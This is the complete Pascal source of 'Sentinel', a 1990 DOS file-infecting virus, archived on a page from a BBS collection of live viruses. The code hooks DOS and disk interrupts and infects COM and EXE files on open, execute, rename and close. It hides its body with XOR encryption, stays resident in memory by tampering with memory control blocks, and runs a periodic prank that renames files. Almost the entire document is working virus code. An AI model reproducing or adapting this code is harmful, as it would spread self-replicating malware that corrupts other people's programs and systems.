home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / sent-1g1.pas < prev    next >
Pascal/Delphi Source File  |  1990-10-28  |  18KB  |  690 lines
  1. {$A+,B-,D+,E-,F-,I-,L+,N-,O-,R-,S-,V-}
  2. {$M 16384,0,655360}
  3.  
  4. program Sentinel;
  5.  
  6. const
  7.     MaxLen        = $65;
  8.     Open        = $3d;
  9.     Rename        = $56;
  10.     GetSetAttr    = $43;
  11.     Create        = $3c;
  12.     CreateNew    = $5b;
  13.     Close        = $3e;
  14.     ExecProg    = $4b;
  15.     ExtOpenCreate     = $6c;
  16.     Copyright    =
  17.  
  18. ' You won''t hear me, but you''ll feel me... (c) 1990 by Sentinel.'+
  19. ' With thanks to Borland. ';
  20.  
  21. type
  22.     FileHeaderType    = record
  23.                 case integer of
  24.                 0: (Signature        : word;
  25.                 ImageSizeRem        : word;
  26.                 Pages512        : word;
  27.                 RelItems        : word;
  28.                 HeaderSize16        : word;
  29.                 MinPar            : word;
  30.                 MaxPar            : word;
  31.                 StartSS            : word;
  32.                 StartSP            : word;
  33.                 ChkSum            : word;
  34.                 StartIP            : word;
  35.                 StartCS            : word);
  36.                 1: (JmpCode            : byte;
  37.                 JmpOfs            : word);
  38.                           end;
  39.  
  40.     Registers    = record
  41.                 case integer of
  42.                   0: (bp,es,ds,di,si,dx,cx,bx,ax,ip,cs,flags: word);
  43.                   1: (bpl,bph,esl,esh,dsl,dsh,dil,dih,sil,
  44.                   sih,dl,dh,cl,ch,bl,bh,al,ah: byte);
  45.               end;
  46.  
  47.     FileNameType    = array[0..MaxLen] of char;
  48.  
  49.     CopyRightType    = array[1..Length(Copyright)] of char;
  50.  
  51.     BufferType    = record
  52.                 FileHeader    : FileHeaderType;
  53.                 Copyright    : CopyRightType;
  54.                 ChkSum    : word;
  55.                 GenNr    : word;
  56.                 MyReg    : registers;
  57.                 CritPtr    : pointer;
  58.                 FileName    : FileNameType;
  59.                 FileHandle  : word;
  60.               end;
  61.  
  62.     IntType    = record
  63.             case integer of
  64.               13:(Bytes1    : array[1..15] of byte;
  65.               HDiskPtr    : pointer;
  66.               Bytes2    : byte;
  67.               DiskPtr     : pointer;
  68.               Bytes3    : byte;
  69.               Old13Ptr    : pointer);
  70.               21: (CodeBytes    : array[1..30] of byte;
  71.                InstrCode    : word;
  72.                Old21Ptr    : pointer);
  73.           end;
  74.  
  75. var
  76.     Int21Ptr    : pointer absolute 0:$84;
  77.     Int13Ptr    : pointer absolute 0:$4C;
  78.     Int24Ptr    : pointer absolute 0:$90;
  79.     Int40Ptr    : pointer absolute 0:$100;
  80.     Int40Seg    : word absolute 0:$102;
  81.     Int41Seg    : word absolute 0:$106;
  82.     Int41SegHi    : byte absolute 0:$107;
  83.     Int41SegLo    : byte absolute 0:$106;
  84. var
  85.     B        : ^BufferType;
  86. const
  87.     SentinelID    = byte('S');
  88.  
  89.  
  90.  
  91. procedure Buffer; forward;
  92. procedure Install; forward;
  93. procedure EnableInterrupts; inline($fb);
  94. procedure DisableInterrupts; inline($fa);
  95.  
  96.  
  97. function  ShiftRgt(Num: longint;Times: word): longint;
  98.   inline($59/$58/$5a/$d1/$ea/$d1/$d8/$e2/$fa);
  99.  
  100.  
  101. function  ShiftLft(Num: longint;Times: word): longint;
  102.   inline($59/$58/$5a/$d1/$e0/$d1/$d2/$e2/$fa);
  103.  
  104.  
  105. function MatchFunc(Func: word): boolean;
  106.   inline($58/$80/$fc/$3d/$74/$27/$80/$fc/$56/$74/$22/$80/$fc/$43/$74/$1d/
  107.      $80/$fc/$3c/$74/$18/$80/$fc/$5b/$74/$13/$80/$fc/$3e/$74/$e/$80/
  108.      $fc/$4b/$74/9/$3d/0/$6c/$74/4/$33/$c0/$eb/2/$b0/1);
  109.  
  110.  
  111. procedure Move(var Source, Dest; Count: word);
  112. begin
  113.   inline($1e/$c4/$7e/<Dest/$c5/$76/<Source/$8b/$4e/<Count/$fc/$f3/$a4/$1f);
  114. end;
  115.  
  116.  
  117. function AbsAddr(Sg,Off: word): longint;
  118. begin
  119.   inline($8b/$46/<Sg/$33/$d2/$b9/4/0/$d1/$e0/$d1/$d2/$e2/$fa/3/$46/<Off/
  120.      $83/$d2/0/$89/$46/$fc/$89/$56/$fe);
  121. end;
  122.  
  123.  
  124. function ExeFile(Sign: word): boolean;
  125. begin
  126.   ExeFile := (Sign = $4d5a) or (Sign = $5a4d);
  127. end;
  128.  
  129.  
  130. function MatchExt(var Buff): boolean;
  131. begin
  132.   inline($c4/$76/<Buff/$26/$c4/$04/$8c/$c2/$81/$ca/$20/$20/$d/$20/$20/
  133.      $c6/$46/$ff/0/$3d/$2e/$63/$75/6/$81/$fa/$6f/$6d/$74/$b/$3d/
  134.      $2e/$65/$75/$a/$81/$fa/$78/$65/$75/4/$c6/$46/$ff/1);
  135. end;
  136.  
  137.  
  138. procedure CritProc;
  139. begin
  140.   inline($5d/$b0/$03/$cf);
  141. end;
  142.  
  143.  
  144. procedure Encrpt(Offs,Nr: word);
  145. var
  146.     Cnt    : word;
  147. begin
  148.   for Cnt := 0 to (SizeOf(CopyRightType) + SizeOf(FileHeaderType)) div 2 do
  149.     MemW[CSeg:Offs+Cnt shl 1] := MemW[CSeg:Offs+Cnt shl 1] xor Nr;
  150. end;
  151.  
  152.  
  153. function ChkNum(Offs,Len: word): word;
  154. var
  155.     Cnt    : word;
  156.     Chk    : word;
  157. begin
  158.   Chk := 0;
  159.   Dec(Len);
  160.   for Cnt := 0 to Len do Chk := MemW[CSeg:Offs+Cnt shl 1] xor Chk;
  161.   ChkNum := Chk;
  162. end;
  163.  
  164.  
  165. procedure Int13;
  166. begin
  167.   inline($5d/$80/$fc/$03/$75/$0f/$80/$fa/$80/$72/$05/
  168.      $ea/>0/>0/$ea/>0/>0/$ea/>0/>0);
  169. end;
  170.  
  171.  
  172. procedure JmpTo21;
  173. begin
  174.   inline($5d/$83/$c4/2/$ea/>0/>0);
  175. end;
  176.  
  177.  
  178. procedure MsFunc(var Reg: registers);
  179. begin
  180.   inline($1e/$c5/$76/<Reg/$46/$46/$b9/$b/0/$fc/$ad/$50/$e2/$fc/$9d/$58/
  181.      $58/$58/$5b/$59/$5a/$5e/$5f/$1f/7/$55/$fa/$9c/$9a/>0/>0/$5d/
  182.      $9c/$50/$53/$51/$52/$56/$57/$1e/6/$c5/$76/<Reg/$b9/8/0/$46/
  183.      $46/$8f/4/$e2/$fa/$83/$c6/6/$8f/4/$1f);
  184. end;
  185.  
  186.  
  187. procedure Int21(flags,cs,ip,ax,bx,cx,dx,si,di,ds,es,bp: word);
  188. interrupt;
  189. var
  190.     UserReg        : registers absolute bp;
  191.     Buff        : ^BufferType;
  192.     Offs        : word;
  193. label
  194.     Continue;
  195.  
  196. function NormalFunc: boolean;
  197. begin
  198.   MsFunc(Buff^.MyReg);
  199.   NormalFunc := not Odd(Buff^.MyReg.flags);
  200. end;
  201.  
  202.  
  203. procedure PasteIt;
  204. var
  205.     IntProc        : ^IntType;
  206.     Attr        : word;
  207.     Date,Time    : word;
  208.     Segm,Offs    : word;
  209.     FileSize    : longint;
  210.     SaveHeader    : ^FileHeaderType;
  211.  
  212.  
  213. procedure PutIt;
  214. var
  215.     Chk    : word;
  216. begin
  217.   Buff^.ChkSum := ChkNum(Ofs(Buffer),(SizeOf(CopyRightType) + SizeOf(FileHeaderType)) shr 1);
  218.   Encrpt(Ofs(Buffer),Buff^.GenNr);
  219.   Buff^.MyReg.ah := $40;
  220.   Buff^.MyReg.ds := CSeg;
  221.   Buff^.MyReg.dx := 0;
  222.   Buff^.MyReg.cx := Ofs(Buffer) + SizeOf(FileHeaderType) + SizeOf(CopyRightType) + 2;
  223.   if NormalFunc and (Buff^.MyReg.ax = Buff^.MyReg. cx) then
  224.     begin
  225.       Buff^.Myreg.ax := $4200;
  226.       Buff^.Myreg.cx := 0;
  227.       Buff^.Myreg.dx := 0;
  228.       if NormalFunc then
  229.     begin
  230.       Buff^.MyReg.ah := $40;
  231.       Buff^.MyReg.cx := SizeOf(FileHeaderType);
  232.       Buff^.MyReg.ds := CSeg;
  233.       Buff^.MyReg.dx := Ofs(SaveHeader^);
  234.       if NormalFunc then;
  235.     end;
  236.     end;
  237.   Buff^.MyReg.cx := Time;
  238.   Buff^.MyReg.dx := Date;
  239.   Buff^.MyReg.ax := $5701;
  240.   MsFunc(Buff^.MyReg);
  241.   Encrpt(Ofs(Buffer),Buff^.GenNr);
  242. end;
  243.  
  244.  
  245. function NormalAttr: boolean;
  246. begin
  247.   NormalAttr := False;
  248.   Buff^.MyReg.ax := $4300;
  249.   if NormalFunc then
  250.     begin
  251.       Attr := Buff^.MyReg.cx;
  252.       if Attr and 4 = 0 then
  253.     begin
  254.       NormalAttr := True;
  255.       if Odd(Attr) then
  256.         begin
  257.           Buff^.MyReg.ax := $4301;
  258.           Buff^.MyReg.cx := Attr and $fffe;
  259.           if not NormalFunc then NormalAttr := False;
  260.         end;
  261.     end;
  262.     end;
  263. end;
  264.  
  265.  
  266. begin
  267.   IntProc := Ptr(CSeg,Ofs(Int13));
  268.   IntProc^.Old13Ptr := Int13Ptr;
  269.   with Buff^ do
  270.     begin
  271.       CritPtr := Int24Ptr;
  272.       Segm := MyReg.ds;
  273.       Offs := MyReg.dx;
  274.       DisableInterrupts; Int13Ptr := Ptr(CSeg,Ofs(Int13)); Int24Ptr := Ptr(CSeg,Ofs(CritProc)); EnableInterrupts;
  275.       if NormalAttr then
  276.     begin
  277.       MyReg.ax := $3d02;
  278.       if NormalFunc then
  279.         begin
  280.           with MyReg do
  281.         begin
  282.           bx := ax;
  283.           ax := $5700;
  284.           MsFunc(MyReg);
  285.           Time := cx;
  286.           Date := dx;
  287.           ah := $3f;
  288.           cx := SizeOf(FileHeaderType);
  289.           ds := CSeg;
  290.           dx := Ofs(FileHeader);
  291.           if NormalFunc then
  292.             begin
  293.               ax := $4202;
  294.               cx := 0;
  295.               dx := 0;
  296.               if NormalFunc then
  297.             begin
  298.               FileSize := ShiftLft(dx,16) + ax;
  299.               SaveHeader := Ptr(CSeg,Ofs(Buffer) + SizeOf(BufferType));
  300.               Move(FileHeader,SaveHeader^,SizeOf(FileHeaderType));
  301.               if ExeFile(FileHeader.Signature) then
  302.                 begin
  303.                   if (FileSize - AbsAddr(FileHeader.HeaderSize16 + FileHeader.StartCS,0) - FileHeader.StartIP <>
  304.                  Ofs(Buffer) - Ofs(Install) + SizeOf(FileHeaderType) + SizeOf(CopyRightType) + 2) and
  305.                  (FileSize > 1000) and (SaveHeader^.MaxPar <> 0) then
  306.                 begin
  307.                   with SaveHeader^ do
  308.                     begin
  309.                       StartCS := ShiftRgt(FileSize,4) - HeaderSize16;
  310.                       StartIP := word(FileSize) mod $10 + Ofs(Install);
  311.                       StartSS := StartCS;
  312.                       StartSP := StartIP + Ofs(Buffer) - Ofs(Install) + SizeOf(BufferType) + $200;
  313.                       Inc(FileSize,Ofs(Buffer) + SizeOf(FileHeaderType) + SizeOf(Copyright) + 2);
  314.                       ImageSizeRem := word((FileSize - AbsAddr(HeaderSize16,0))) mod $200;
  315.                       Pages512 := ShiftRgt(FileSize,9);
  316.                       if word(FileSize) mod $200 <> 0 then Inc(Pages512);
  317.                       PutIt;
  318.                     end;
  319.                 end;
  320.                 end
  321.               else
  322.                 begin
  323.                   if (((FileHeader.JmpCode) <> $e9) or
  324.                   (FileSize - FileHeader.JmpOfs - 3 <>
  325.                    Ofs(Buffer) - Ofs(Install) + SizeOf(FileHeaderType) + SizeOf(Copyright) + 2)) and
  326.                   (FileSize > 1000) and (FileSize <= $EA00) then
  327.                 begin
  328.                   SaveHeader^.JmpCode := $e9;
  329.                   SaveHeader^.JmpOfs := FileSize + Ofs(Install) - 3;
  330.                   PutIt;
  331.                 end;
  332.                 end;
  333.                         end;
  334.               ah := $3e;
  335.               MsFunc(MyReg);
  336.                     end;
  337.         end;
  338.         end;
  339.       if Odd(Attr) then
  340.         begin
  341.           MyReg.ax := $4301;
  342.           MyReg.cx := Attr;
  343.           MyReg.ds := Segm;
  344.           MyReg.dx := Offs;
  345.           MsFunc(MyReg);
  346.         end;
  347.     end;
  348.       DisableInterrupts; Int13Ptr := IntProc^.Old13Ptr; Int24Ptr := CritPtr; EnableInterrupts;
  349.     end;
  350. end;
  351.  
  352.  
  353. function MatchFile: boolean;
  354. var
  355.     Cnt    : byte;
  356. begin
  357.   Cnt := $ff;
  358.   repeat
  359.     Inc(Cnt);
  360.   until (Mem[ds:Offs+Cnt] = 0) or (Cnt > MaxLen);
  361.   MatchFile := ((Cnt >= 1) and (Cnt <= MaxLen)) and MatchExt(Mem[ds:Offs+Cnt-4]);
  362. end;
  363.  
  364.  
  365. procedure BiteIt;
  366. begin
  367.   if MatchFile then
  368.     begin
  369.       Buff^.MyReg.ds := ds;
  370.       Buff^.MyReg.dx := Offs;
  371.       PasteIt;
  372.     end;
  373.   inline($83/$c4/4/$5d/$8b/$e5/$5d/$7/$1f/$5f/$5e/$5a/$59/$5b/$58);
  374.   JmpTo21;
  375. end;
  376.  
  377.  
  378. procedure CatchIt;
  379. begin
  380.   MsFunc(UserReg);
  381.   if Buff^.FileName[0] = #0 then
  382.     begin
  383.       Move(Mem[ds:Offs],Buff^.FileName,MaxLen);
  384.       if MatchFile and not Odd(flags) then
  385.     Buff^.FileHandle := ax
  386.       else
  387.     Buff^.FileName[0] := #0;
  388.     end;
  389. end;
  390.  
  391.  
  392. begin
  393.   EnableInterrupts;
  394.   Buff := Ptr(CSeg,Ofs(Buffer));
  395.   Offs := dx;
  396.   case UserReg.ah of
  397.     Open: if UserReg.al and 7 = 0 then
  398.         BiteIt
  399.       else
  400.         CatchIt;
  401.     Create: CatchIt;
  402.     CreateNew: begin
  403.          CatchIt;
  404.          if Odd(flags) and (ax = 80) and MatchFile then
  405.            begin
  406.              Buff^.MyReg.ds := ds;
  407.              Buff^.MyReg.dx := Offs;
  408.              PasteIt;
  409.            end;
  410.            end;
  411.     Close: begin
  412.          MsFunc(UserReg);
  413.          if (bx = Buff^.FileHandle) and (Buff^.FileName[0] <> #0) then
  414.            begin
  415.          Buff^.MyReg.ds := CSeg;
  416.          Buff^.MyReg.dx := Ofs(Buff^.FileName);
  417.          PasteIt;
  418.          Buff^.FileName[0] := #0;
  419.            end;
  420.        end;
  421.     ExecProg: BiteIt;
  422.     Rename: BiteIt;
  423.     GetSetAttr: if UserReg.al =    SentinelID then
  424.           begin
  425.             ax := CSeg;
  426.             flags := flags and $fffe;
  427.           end
  428.         else
  429.           BiteIt;
  430.     ExtOpenCreate: if ax = $6c00 then
  431.              begin
  432.                Offs := si;
  433.                if UserReg.bl and 7 = 0 then
  434.              BiteIt
  435.                else
  436.              CatchIt;
  437.              end
  438.            else
  439.              goto Continue
  440.   else
  441.     begin
  442.       Continue: inline($8b/$e5/$5d/$7/$1f/$5f/$5e/$5a/$59/$5b/$58);
  443.       JmpTo21;
  444.     end;
  445.   end;
  446. end;
  447.  
  448.  
  449. procedure Install;
  450. var
  451.     Buff        : ^BufferType;
  452.     Sg        : word;
  453.     PrefSeg        : word;
  454.     Base        : word;
  455.     IntProc           : ^IntType;
  456.  
  457.  
  458. function WrongFunc: boolean;
  459.   inline($55/$b8/<SentinelID/<GetSetAttr/$cd/$21/$5d/$89/$46/<Sg/$b0/1/$72/2/$32/$c0);
  460.  
  461. procedure Ren(Sg,Offs,Sg,Offs: word);
  462.   inline($5a/$1f/$5f/7/$b4/$56/$cd/$21);
  463.  
  464.  
  465. procedure SolveBase;
  466. begin
  467.   Base := MemW[SSeg:SPtr+4]-13;
  468. end;
  469.  
  470.  
  471. procedure SearchInt13(MemLen: word);
  472. var
  473.     Offs    : word;
  474. begin
  475.   MemLen := MemLen shl 9;
  476.   Offs := $ffff;
  477.   repeat
  478.     Inc(Offs);
  479.   until (((MemL[Int41Seg:Offs] = $7380fa80) or
  480.       (MemL[Int41Seg:Offs] = $7580c2f6)) and
  481.      (MemW[Int41Seg:Offs+5] = $40cd)) or
  482.     (Offs > MemLen);
  483.   if Offs < MemLen then IntProc^.HDiskPtr := Ptr(Int41Seg,Offs);
  484. end;
  485.  
  486.  
  487. function Empty: boolean;
  488. var
  489.     Offs    : word;
  490. begin
  491.   Offs := 0;
  492.   while (Mem[Sg:Offs] = Mem[CSeg:Offs+Base]) and (Offs < Ofs(Int13)) do Inc(Offs);
  493.   Empty := Offs <> Ofs(Int13);
  494. end;
  495.  
  496.  
  497. function NormalFunc: boolean;
  498. begin
  499.   MsFunc(Buff^.MyReg);
  500.   NormalFunc := not Odd(Buff^.MyReg.flags);
  501. end;
  502.  
  503.  
  504. function FreeSpace: boolean;
  505. begin
  506.   FreeSpace := False;
  507.   if AbsAddr(CSeg,Base+Ofs(Buffer)+SizeOf(BufferType)) < AbsAddr(Buff^.MyReg.ds,0) then
  508.     if ExeFile(Buff^.FileHeader.Signature) then
  509.       FreeSpace := AbsAddr(Buff^.FileHeader.StartSS+PrefSeg+$10,Buff^.FileHeader.StartSP) < AbsAddr(Buff^.MyReg.ds,0)
  510.     else
  511.       FreeSpace := True;
  512. end;
  513.  
  514.  
  515. procedure Joke;
  516. var
  517.     EnvSg    : word;
  518.     OrgCnt    : word;
  519.     Cnt    : word;
  520. begin
  521.   EnvSg := MemW[PrefSeg:$2c];
  522.   OrgCnt := 0;
  523.   while MemW[EnvSg:OrgCnt] <> 0 do Inc(OrgCnt);
  524.   Inc(OrgCnt,4);
  525.   Cnt := OrgCnt;
  526.   Move(Mem[EnvSg:Cnt],Buff^.FileName,MaxLen);
  527.   while Mem[EnvSg:Cnt] <> 0 do Inc(Cnt);
  528.   MemL[EnvSg:Cnt-4] := longint($4d4f432e);
  529.   DisableInterrupts; Int13Ptr := Ptr(CSeg,Ofs(Int13) + Base); EnableInterrupts;
  530.   Ren(EnvSg,OrgCnt,Seg(Buff^.FileName),Ofs(Buff^.FileName));
  531.   DisableInterrupts; Int13Ptr := IntProc^.Old13Ptr; EnableInterrupts;
  532. end;
  533.  
  534.  
  535. begin
  536.   inline($8c/$5e/<PrefSeg);
  537.   SolveBase;
  538.   Base := Base - Ofs(Install);
  539.   Buff := Ptr(CSeg,Base+Ofs(Buffer));
  540.   Buff^.GenNr := ChkNum(Ofs(Buffer)+Base,(SizeOf(CopyRightType)+SizeOf(FileHeaderType)) shr 1 + 1);
  541.   Encrpt(Ofs(Buffer)+Base,Buff^.GenNr);
  542.   Inc(Buff^.GenNr);
  543.   IntProc := Ptr(CSeg,Base+Ofs(Int13));
  544.   with IntProc^ do
  545.     begin
  546.       HDiskPtr := Int13Ptr;
  547.       DiskPtr := Int13Ptr;
  548.       Old13Ptr := Int13Ptr;
  549.       if (Int40Seg = $f000) then
  550.     begin
  551.       DiskPtr := Int40Ptr;
  552.       if Int41Seg = $f000 then
  553.         SearchInt13($80)
  554.       else
  555.         if ((Int41SegHi >= $c8) and (Int41SegHi <= $f3)) and
  556.            (Int41SegLo and $7f = 0) and
  557.            (MemW[Int41Seg:0] = $aa55) then
  558.           SearchInt13(Mem[Int41Seg:2]);
  559.     end;
  560.     end;
  561.   if Buff^.GenNr mod $20 = 0 then Joke;
  562.   if WrongFunc or Empty then
  563.     begin
  564.       IntProc := Ptr(CSeg,Base+Ofs(MsFunc));
  565.       IntProc^.InstrCode := $cdfb;
  566.       IntProc^.Old21Ptr := Ptr($9090,$9021);
  567.       with Buff^.MyReg do
  568.     begin
  569.       ah := $49;
  570.       es := PrefSeg;
  571.       if NormalFunc then
  572.         begin
  573.           ah := $48;
  574.           bx := $ffff;
  575.           MsFunc(Buff^.MyReg);
  576.           if bx > (Ofs(Buffer) + SizeOf(BufferType) + SizeOf(FileHeaderType)) shr 4 + 2 then
  577.         begin
  578.           Dec(bx,(Ofs(Buffer) + SizeOf(BufferType) + SizeOf(FileHeaderType)) shr 4 + 2);
  579.           ds := es + bx;
  580.           if FreeSpace then
  581.             begin
  582.               ah := $4a;
  583.               if NormalFunc then
  584.             begin
  585.               bx := (Ofs(Buffer) + SizeOf(BufferType) + SizeOf(FileHeaderType)) shr 4 + 2;
  586.               Dec(MemW[PrefSeg:2],bx);
  587.               ah := $4a;
  588.               es := ds + 1;
  589.               Dec(bx);
  590.               MsFunc(Buff^.MyReg);
  591.               MemW[ds:1] := 8;
  592.               Mem[PrefSeg-1:0] := $5a;
  593.               Buff^.FileName[0] := #0;
  594.               MemL[CSeg:Ofs(MsFunc)-8+Base] := MemL[0:$84];
  595.               IntProc^.Old21Ptr := Int21Ptr;
  596.               IntProc^.InstrCode := $9a9c;
  597.               Move(Mem[CSeg:Base],Mem[es:0],Ofs(Buffer) + SizeOf(BufferType));
  598.               DisableInterrupts; Int21Ptr := Ptr(es,Ofs(Int21)); EnableInterrupts;
  599.             end;
  600.                     end;
  601.         end
  602.           else
  603.         begin
  604.           ah := $4a;
  605.           if not NormalFunc then
  606.             begin
  607.               ah := $4a;
  608.               MsFunc(Buff^.MyReg);
  609.             end;
  610.         end;
  611.         end;
  612.     end;
  613.     end;
  614.   if ExeFile(Buff^.FileHeader.Signature) then
  615.       inline($8e/$46/<PrefSeg/$83/$46/<PrefSeg/$10/$c5/$76/<Buff/
  616.          $83/$c6/$0e/$fc/$ad/$03/$46/<PrefSeg/$8b/$c8/$ad/$8b/
  617.          $d0/$83/$c6/$02/$ad/$8b/$d8/$ad/$03/$46/<PrefSeg/$fa/
  618.          $8e/$d1/$8b/$e2/$fb/$06/$1f/$50/$53/$cb)
  619.   else
  620.     inline($c5/$76/<Buff/$fc/$ad/$2e/$a3/$00/$01/$ac/$2e/$a2/$02/
  621.        $01/$89/$ec/$5d/$b8/$00/$01/$50/$0e/$0e/$1f/$07/$c3);
  622. end;
  623.  
  624.  
  625. procedure Buffer;
  626. begin
  627.   inline(>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  628.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  629.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  630.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  631.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  632.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  633.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  634.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  635.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  636.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  637.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  638.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  639.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  640.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  641.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  642.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  643.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  644.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  645.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  646.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  647.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  648.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  649.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  650.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  651.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  652.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  653.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/
  654.      >0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0/>0);
  655.  
  656. end;
  657.  
  658.  
  659. procedure Quit;
  660. begin
  661.   inline($b8/0/0/$8e/$d8);
  662.   Halt;
  663. end;
  664.  
  665.  
  666.  
  667. begin
  668.   B := @Buffer;
  669.   if (Ofs(B^.ChkSum) - Ofs(B^)) mod 4 = 0 then
  670.     begin
  671.       B^.Copyright := CopyRight;
  672.       with B^.FileHeader do
  673.     begin
  674.       StartSS := SSeg - PrefixSeg - $10;
  675.       StartSp := SPtr - $1000;
  676.       StartCS := CSeg - PrefixSeg - $10;
  677.       StartIP := Ofs(Quit);
  678.       Signature := $4d5a;
  679.     end;
  680.       B^.ChkSum := ChkNum(Ofs(Buffer),(SizeOf(CopyRightType) + SizeOf(FileHeaderType)) shr 1);
  681.       Encrpt(Ofs(Buffer),$ffff);
  682.       MemW[CSeg:Ofs(Quit) + 4] := DSeg;
  683.       Inline($8e/$1e/PrefixSeg);
  684.       Install;
  685.     end
  686.   else
  687.     WriteLn('Parity error. ''Copyright'' length must be greater with ',
  688.         4 - (Ofs(B^.ChkSum) - Ofs(B^)) mod 4,' byte(s).');
  689. end.
  690.